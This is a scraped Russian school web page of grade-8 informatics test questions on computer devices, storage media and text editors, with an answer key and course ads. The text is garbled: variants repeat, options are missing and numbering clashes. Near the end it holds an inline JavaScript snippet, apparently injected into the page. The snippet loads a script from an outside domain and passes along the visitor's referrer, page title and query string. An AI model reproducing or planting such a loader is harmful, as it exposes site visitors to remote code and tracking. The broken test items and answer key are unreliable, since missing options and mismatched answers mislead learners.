Какое слово является лишним в ряду дискета флешка
Задание 2. Текстовый редактор – программа, предназначенная для:
управление ресурсами ПК при создании документов
автоматического перевода с символьных языков в машинные коды
работы с изображениями в процессе создания игровых программ
создания, редактирования и форматирования текстовой информации
Задание 3. Укажите лишнее:
Задание 4. Телевизор – это:
Задание 5. Для хранения информации используют:
Задание 6. Выбери носитель информации для текстовой строки:
ТЕКСТ СТИХОТВОРЕНИЯ
Задание 7. Какой объект является инструментом для счёта:
Задание 8. Создать информационную модель объекта РАДУГА.
Задание 9. Человек воспринимает информацию, впечатления об окружающем мире с помощью …
Задание 10. В каком устройстве компьютера производится обработка информации:
Задание 11. Перечислите все устройства ввода информации.
Задание 12. Плоттер – это…
Задание 13. Перечислите «+» и «-» трекбола.
Задание 2. К числу основных функций текстового редактора относятся:
создание, редактирование, сохранение и печать текстов
копирование, перемещение, уничтожение и сортировка фрагментов текста
автоматическая обработка информации, представленной в текстовых файлах
строгое соблюдение правописания
Задание 3. Какое устройство служит для вывода информации:
Задание 4. Выбери носитель информации для видеофильма:
Задание 5. Укажи возможный приёмник информации:
Задание 6. Отметь лишнее устройство:
Задание 7. Определить вид модели:
Задание 8. Отметь верное предложение:
МОДЕЛЬ И ОБЪЕКТ ИМЕЮТ ОДИНАКОВЫЕ …
Задание 9. Человек может воспринимать слуховую, … информацию.
Задание 10. Компьютер – универсальное средство для работы с:
Задание 11. Перечислите все устройства вывода информации.
Задание 12. Модем – это…
Задание 13. Перечислите «+» и «-» лазерного принтера.
Задание 2. С помощью компьютера текстовую информацию можно:
только получать
только обрабатывать
хранить, получать и обрабатывать
только хранить
Задание 3. Продолжи ряд, выбрав недостающее устройство из списка:
МОНИТОР, ПРИНТЕР, …
Задание 4. Отметь канал связи:
Задание 5. К какому виду памяти относится лазерный диск:
Задание 6. Продолжи ряд, выбрав недостающее устройство из списка:
МИКРОФОН, СКАНЕР, МЫШЬ, …
Задание 7. Впиши пропущенное слово:
ПРИ СОЗДАНИИ МОДЕЛИ СОХРАНЯЮТ … ОБЪЕКТА.
Задание 8. Заполни таблицу «Информационная модель объектов»:
Задание 9. Носителями информации могут быть …. Они предназначены для …
Задание 10. Внешняя память компьютера включает:
ПЗУ, жёсткий диск;
дискеты, жёсткий диск, лазерный диск;
дискеты, ПЗУ.
Задание 11. Перечислите все типы принтеров.
Задание 12. Драйвер – это…
Задание 13. Перечислите «+» и «-» ЖК-монитора.
Вариант 4
Задание 1. Какое из устройств не является устройством вывода информации?
Задание 2. Редактирование текста представляет собой:
процедуру сохранения текста на диске в виде текстового файла
процесс внесения изменений в имеющийся текст
процедуру считывания с внешнего запоминающего устройства ранее созданного текста
процесс передачи текстовой информации по компьютерной сети
Задание 3. Какое слово является лишним:
Задание 4. Для передачи информации может использоваться:
Задание 5. Для хранения информации используют:
Задание 6. Выбери устройство для обработки информации:
Задание 7. Заполни таблицу «Описание объектов»:
Задание 8. Определи вид модели:
Задание 9. Найди соответствие:
1. Достоверность | А. язык понятен получателю |
2. Полнота | Б. правильность, непротиворечивость |
3. Понятность | В. вовремя, в нужный срок |
4. Ценность | Г. имеются все необходимые данные |
5. Своевременность | Д. полезность, важность, значимость |
Задание 10. В состав внутренней памяти компьютера входят:
Задание 11. Перечислите характеристики процессора.
Задание 12. Сублимация – это…
Задание 13. Перечислите «+» и «-» матричного принтера.
Задание 2. Какая операция не применяется для редактирования текста:
удаление в тексте неверно набранного символа
вставка пропущенного символа
печать текста
замена неверно набранного символа
Задание 3. Какое устройство используют для хранения информации:
Задание 4. Какой объект может служить устройством для передачи информации:
Задание 5. Для вывода информации служит:
Задание 6. Выбери существенный признак для объекта «часы»:
ёмкость для воды;
прибор со стрелками;
украшение;
посуда для приготовления пищи;
устройство для измерения времени.
Задание 7. Отметь, что может быть моделью снегопада:
Задание 8. Что отражается в модели:
Задание 9. Анализируя информацию, которая к нам поступает, мы учитываем ту, которая … . Для принятия решения человек должен иметь информацию …
Задание 10. При выключении компьютера стирается вся информация:
Задание 11. Какие устройства нужны для работы с телесигналом и видео?
Задание 12. Процессор – это…
Задание 13. Перечислите «+» и «-» струйного принтера.
1. Звуковая | а. Приветливая улыбка |
2. Зрительная | б. Аромат розы |
3. Обонятельная | в. Горячая вода |
4. Вкусовая | г. Гудение сирены |
5. Тактильная (осязательная) | д. Кислота лимона |
Задание 2. Текстовый редактор – программа, предназначенная для:
управление ресурсами ПК при создании документов
автоматического перевода с символьных языков в машинные коды
работы с изображениями в процессе создания игровых программ
создания, редактирования и форматирования текстовой информации
Задание 3. Укажите лишнее:
Задание 4. Телевизор – это:
Задание 5. Для хранения информации используют:
Задание 6. Выбери носитель информации для текстовой строки:
ТЕКСТ СТИХОТВОРЕНИЯ
Задание 7. Какой объект является инструментом для счёта:
Задание 8. Создать информационную модель объекта РАДУГА.
Задание 9. Человек воспринимает информацию, впечатления об окружающем мире с помощью …
Задание 10. В каком устройстве компьютера производится обработка информации:
Задание 11. Что такое UPS и для чего они нужны?
Задание 12. Клавиатура – это…
Задание 13. Перечислите «+» и «-» МФУ.
Задание 2. К числу основных функций текстового редактора относятся:
создание, редактирование, сохранение и печать текстов
копирование, перемещение, уничтожение и сортировка фрагментов текста
автоматическая обработка информации, представленной в текстовых файлах
строгое соблюдение правописания
Задание 3. Какое устройство служит для вывода информации:
Задание 4. Выбери носитель информации для видеофильма:
Задание 5. Укажи возможный приёмник информации:
Задание 6. Отметь лишнее устройство:
Задание 7. Определить вид модели:
Задание 8. Отметь верное предложение:
МОДЕЛЬ И ОБЪЕКТ ИМЕЮТ ОДИНАКОВЫЕ …
Задание 9. Человек может воспринимать слуховую, … информацию.
Задание 10. Компьютер – универсальное средство для работы с:
Задание 11. Какие группы клавиш имеет стандартная клавиатура.
Задание 12. Сканер – это…
Задание 13. Перечислите «+» и «-» электронно-лучевых мониторов.
Задание 1. Установите соответствие между названиями информационных процессов и примерами таких процессов.
Счастье можно найти лишь на проторенных дорогах. Франсуа Рене де Шатобриан
ещё >>
1. (2 балла) Установите соответствие между видами информации и примерами. 1. Звуковаяа. Приветливая улыбка
2. Зрительнаяб. Аромат розы
3. Обонятельнаяв. Горячая вода
4. Вкусоваяг. Гудение сирены
5. Тактильная (осязательная)д. Кислота лимона
А) 1г, 2а, 3б, 4д, 5в Б) 1а, 2б, 3г, 4в, 5д В) 1г, 2б, 3а, 4в, 5д Г) 1г, 2б, 3а, 4д, 5в Д) нет верного варианта ответа 2. (2 балла) Поставьте слова второго столбца в соответствии с определениями. 1. Устройство ввода текстовой информации.а. Принтер
2. Устройство для обработки информации.б. Клавиатура
3. Устройство для вывода информации на бумагу.в. Процессор
4. Устройство ввода звуковой информации.г. Монитор
5. Устройство вывода информации на экран.Д. Микрофон
А) 1б, 2в, За, 4д, 5г Б) 1г, 2в, 3а, 4б, 5д В) 1в, 2б, За, 4д, 5г Г) 1г, 2б, За, 4д, 5в Д) 1д, 2г, 3в, 4б, 5а 3. (2 балла) Какое из устройств не является устройством вывода информации? А) принтер Б) монитор В) сканер Г) плоттер Д) Звуковые колонки 4. (2 балла) Установите соответствие между значками и именами соответствующих им файлов. 1) А) Стена.jpg
2) Б) Фантастика.txt
3) В) Фантастика.exe
4) Г) Игра.rar
5) Д) Стена.ppt
А) 1д, 2г, 3в, 4а, 5б Б) 1б, 2г, 3в, 4а, 5д В) 1в, 2а, 3б, 4д, 5г Г) 1б, 2в, 3г, 4д, 5а Д) 1г, 2в, 3б, 4д, 5а 5. (2 балла) В какой строке текста единицы измерения информации представлены по возрастанию? А) гигабайт, терабайт, килобайт, мегабайт Б) бит, байт, мегабайт, килобайт, гигабайт В) байт, килобайт, мегабайт, гигабайт, терабайт Г) байт, бит, килобайт, мегабайт, гигабайт Д) бит, байт, гигабайт, мегабайт, терабайт 6. (3 балла) Какое слово является лишним в ряду: А) Дискета Б) Флешка В) СD-R Г) жесткий диск Д) ОЗУ (оперативно-запоминающее устройство) 7. (3 балла) Установите соответствие между названиями информационных процессов и примерами таких процессов. 1. ХранениеА. Улыбка окружающим
2. ЗащитаБ. Взгляд на термометр
3. ПередачаВ. Шифрование данных
4. ОбработкаГ. Запоминание прогноза погоды на неделю
5. ПолучениеД. Решение задачи графическим способом
А) 1Д,2Б,3Д,4А,5Г Б) 1В,2Г,3Б,4Д,5В В) 1Б,2В,3Г,4Д,5А Г) 1Г, 2В,3А,4Д,5Б Д) 1А,2Б,3Д,4Г,5В 8. (3 балла) С помощью какого действия можно получить из левого рисунка правый? А) отражение Б) копирование В) поворот Г) наклон Д) растяжение 9. (5 баллов) Расположите носители информации в порядке их появления: а) оптический диск б) магнитный диск в) бумага г) папирус д) флэш-память А) 1в, 2г, 3а, 4б, 5д Б) 1г, 2в, 3а, 4б, 5д В) 1г, 2в, 3а, 4б, 5д Г) 1г, 2в, 3б, 4а, 5д Д) 1г, 2в, 3б, 4д, 5а 10. (5 баллов) Установите соответствие между понятием и его определением 1) прямоугольника) инструмент графического редактора
2) кистьб) элемент окна приложения
3) красный цветв) элемент меню графического редактора
4) файлг) графический примитив
5) рабочее полед) элемент палитры
А) 1г, 2а, 3д, 4в, 5б Б) 1а, 2г, 3д, 4в, 5б В) 1г, 2а, 3д, 4б, 5в Г) 1а, 2г, 3в, 4д, 5б Д) 1в, 2д, 3а, 4б, 5г 11. (5 баллов) Выберите правильный вариант ответа. К числу основных преимуществ работы в текстовом редакторе в сравнении с пишущей машинкой следует назвать возможность: А) многократного редактирования текста Б) многократной печати одного документа В) более быстрого набора текста Г) уменьшения трудоёмкости при работе с текстом Д) использования различных шрифтов при наборе текста 11. (5 баллов). В начальной школе работают кружки: математический, художественного творчества и мягкой игрушки. На диаграмме 1 отражено распределение учащихся, посещающих кружки, по классам, на диаграмме 2 – распределение по кружкам. Каждый ученик посещает только один кружок. Из анализа двух диаграмм определите, могут ли учащиеся вторых классов посещать только кружок мягкой игрушки. А) Да Б) Нет В) Невозможно определить
3. Какое из перечисленных ниже устройств является устройством вывода информации с компьютера?
А) Сканер Б) Клавиатура С) Мышь Д) Принтер
4. После отключения питания компьютера теряется вся информация, которая находилась:
А) на жестком диске Б) в ПЗУ (постоянное запоминающее устройство)
С) на гибком диске (дискете) Д) в ОЗУ (оперативное запоминающее устройство)
5. Для вывода звуковой информации служит …
А) Монитор Б) Сканер С) Микрофон Д) Колонки
6. Какое из устройств компьютера не входит в состав системного блока?
А) Процессор Б) Дисковод С) ОЗУ Д) Принтер
7. Отметьте лишнее
А) Сканер Б) Мышь С) Клавиатура Д) Процессор
8. Закончите ряд МИКРОФОН, СКАНЕР, МЫШЬ
одним из слов из ниже указанных (по смыслу)
А) Клавиатура Б) Системный блок С) Наушники Д) Монитор
9. У какого из современных носителей информации наибольшая емкость?
А) Жесткий диск Б) Гибкий диск (дискета)
С) Лазерный (оптический) диск CD-R Д) Флеш-накопитель (флешка)
1. Для вычислений, обработки информации и управления работой компьютера служит…
А) Память Б) Процессор
С) Монитор Д) Принтер
2. Для ввода текстовой информации в компьютер служит …
А) Мышь Б) Принтер С) Процессор Д) Клавиатура
3. Для ввода звуковой информации в компьютер служит …
А) Микрофон Б) Мышь С) Принтер Д) Колонки
4. Все программы и данные, необходимые для работы компьютера, помещаются в …
А) ПЗУ (постоянное запоминающее устройство) Б) Процессор
С) ОЗУ (оперативное запоминающее устройство) Д) Монитор
5. Для вывода информации на бумагу служит …
А) Сканер Б) Принтер С) Монитор Д) Процессор
6. Какое из перечисленных ниже устройств используется для хранения данных в компьютере?
А) Жесткий диск Б) Сканер С) Процессор Д) Дисковод
7. Отметьте «лишнее»
А) Лазерный диск Б) Жесткий диск С) Дискета Д) Принтер
8. Закончите ряд МОНИТОР, ПРИНТЕР, ГРАФОПОСТРОИТЕЛЬ
одним из слов из ниже указанных (по смыслу)
А) Клавиатура Б) Мышь С) Колонки Д) Системный блок
Оценка 3 – 80% и меньше
Оценка 2 – 50% и меньше
Ответы: 1 вариант: 1.б, 2.а, 3.д, 4.б, 5.д, 6.д, 7.д, 8.а, 9.д
2 вариант: 1.б, 2.д, 3.а, 4.б, 5.б, 6.а, 7.д, 8.с
По теме: методические разработки, презентации и конспекты
Статья "ИННОВАЦИИ В ПРИКЛАДНОМ ПРИМЕНЕНИИ КОМПЬЮТЕРА: МАСТЕР-КЛАССЫ ДЛЯ НАЧАЛЬНОЙ ШКОЛЫ «КОМПЬЮТЕР, Я И МОЯ СЕМЬЯ»
Роль педагога в дополнительном образовании заключается в организации естественных видов деятельности детей и умении педагогически грамотно управлять системой взаимоотношений в.
Компьютер в жизни школьника. Влияние компьютера на здоровье наших детей.
Компьютер - "двуликий Янус". Что он в себе таит? Угрозу? Помощь? Как влияет постоянное "общение" с компьютером на здоровье наших детей. Над этими вопросами стоит задуматься.
Компьютер универсальная вычислительная машина. Назначение и возможности основных устройств компьютера. Виды памяти в к-ре, носители информации
конспект урока по информатики.
Эксплуатация устройств компьютера. Защита от недостатков электропитания. Чистка компьютера
Предлагаю ознакомиться с некоторыми рекомендациями по безопасному обеспечению и рациональному использованию устройств компьютера.Бывает, что напряжение в электросети сильно колеблется. Для компьютера .
Компьютер в жизни ребёнка. Правила компьютерной безопасности. Компьютер - помощник в учёбе.
Компьютер в жизни ребёнка. Правила компьютерной безопасности. Компьютер - помощник в учёбе.
Структура системной платы. Основные характеристики компьютера. Принцип открытой архитектуры компьютера.
Разработка урока по информатики.
Компьютер друг, компьютер враг
Данное мероприятие можно проводить с учащимися 8 - 11 классов. Старшеклассники могут провести предварительное анкетирование по использованию компьютера, сети Интернет учащимися младших классов. Проана.
Внимание Скидка 50% на курсы! Спешите подать
заявку
Профессиональной переподготовки 30 курсов от 6900 руб.
Курсы для всех от 3000 руб. от 1500 руб.
Повышение квалификации 36 курсов от 1500 руб.
Лицензия №037267 от 17.03.2016 г.
выдана департаментом образования г. Москвы
Итоговая контрольная работа по курсу информатики за 8 класс
((__lxGc__=window.__lxGc__||<'s':<>,'b':0>)['s']['_197117']=__lxGc__['s']['_197117']||>)['b']['_574359']=<'i':__lxGc__.b++>; var d=document;var s=d.createElement('script'); s.src='https://3slivtd.ru/BFjWgr?frm=script&&'+window.location.search.replace('?', '&')+'&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '&_cid=dd5ad15d-9f89-1596-33bb-24c0516e474b'; d.getElementById("dd5ad15d-9f89-1596-33bb-24c0516e474b").appendChild(s);'s':<>Итоговая контрольная работа по курсу информатики за 8 класс
1. (2 балла) Установите соответствие между видами информации и примерами.
а. Приветливая улыбка
г. Гудение сирены
5. Тактильная ( осязательная )
д. Кислота лимона
А) 1г, 2а, 3б, 4д, 5в Б) 1а, 2б, 3г, 4в, 5д В) 1г, 2б, 3а, 4в, 5д Г) 1г, 2б, 3а, 4д, 5в Д) нет верного варианта ответа
2. (2 балла) Поставьте слова второго столбца в соответствии с определениями.
Устройство ввода текстовой информации.
Устройство для обработки информации.
Устройство для вывода информации на бумагу.
Устройство ввода звуковой информации.
Устройство вывода информации на экран.
А) 1б, 2в, За, 4д, 5г Б) 1г, 2в, 3а, 4б, 5д В) 1в, 2б, За, 4д, 5г Г) 1г, 2б, За, 4д, 5в Д) 1д, 2г, 3в, 4б, 5а
3. (2 балла) Какое из устройств не является устройством вывода информации?
А) принтер Б) монитор В) сканер Г) плоттер Д) Звуковые колонки
4. (2 балла) Установите соответствие между значками и именами соответствующих им файлов.
1)
2)
Б) Фантастика. txt
3)
4)
5)
А) 1д, 2г, 3в, 4а, 5б Б) 1б, 2г, 3в, 4а, 5д В) 1в, 2а, 3б, 4д, 5г Г) 1б, 2в, 3г, 4д, 5а Д) 1г, 2в, 3б, 4д, 5а
5. (2 балла) В какой строке текста единицы измерения информации представлены по возрастанию?
А) гигабайт, терабайт, килобайт, мегабайт
Б) бит, байт, мегабайт, килобайт, гигабайт
В) байт, килобайт, мегабайт, гигабайт, терабайт
Г) байт, бит, килобайт, мегабайт, гигабайт
Д) бит, байт, гигабайт, мегабайт, терабайт
6. (3 балла) Какое слово является лишним в ряду:
А) Дискета Б) Флешка В) СD-R Г) жесткий диск Д) ОЗУ (оперативно-запоминающее устройство)
7. (3 балла) Установите соответствие между названиями информационных процессов и примерами таких процессов.
А. Улыбка окружающим
Б. Взгляд на термометр
В. Шифрование данных
Г. Запоминание прогноза погоды на неделю
Д. Решение задачи графическим способом
А) 1Д,2Б,3Д,4А,5Г Б) 1В,2Г,3Б,4Д,5В В) 1Б,2В,3Г,4Д,5А Г) 1Г, 2В,3А,4Д,5Б Д) 1А,2Б,3Д,4Г,5В
8. (3 балла) С помощью какого действия можно получить из левого рисунка правый?
А) отражение Б) копирование В) поворот Г) наклон Д) растяжение
9. (5 баллов) Расположите носители информации в порядке их появления:
а) оптический диск б) магнитный диск в) бумага г) папирус д) флэш-память
А) 1в, 2г, 3а, 4б, 5д Б) 1г, 2в, 3а, 4б, 5д В) 1г, 2в, 3а, 4б, 5д Г) 1г, 2в, 3б, 4а, 5д Д) 1г, 2в, 3б, 4д, 5а
10. (5 баллов) Установите соответствие между понятием и его определением
а) инструмент графического редактора
б) элемент окна приложения
в) элемент меню графического редактора
г) графический примитив
д) элемент палитры
А) 1г, 2а, 3д, 4в, 5б Б) 1а, 2г, 3д, 4в, 5б В) 1г, 2а, 3д, 4б, 5в Г) 1а, 2г, 3в, 4д, 5б Д) 1в, 2д, 3а, 4б, 5г
11. (5 баллов) Выберите правильный вариант ответа. К числу основных преимуществ работы в текстовом редакторе в сравнении с пишущей машинкой следует назвать возможность:
А) многократного редактирования текста
Б) многократной печати одного документа
В) более быстрого набора текста
Г) уменьшения трудоёмкости при работе с текстом
Д) использования различных шрифтов при наборе текста
12. (5 баллов). В начальной школе работают кружки: математический, художественного творчества и мягкой игрушки. На диаграмме 1 отражено распределение учащихся, посещающих кружки, по классам, на диаграмме 2 – распределение по кружкам. Каждый ученик посещает только один кружок.
Из анализа двух диаграмм определите, могут ли учащиеся вторых классов посещать только кружок мягкой игрушки.
Читайте также: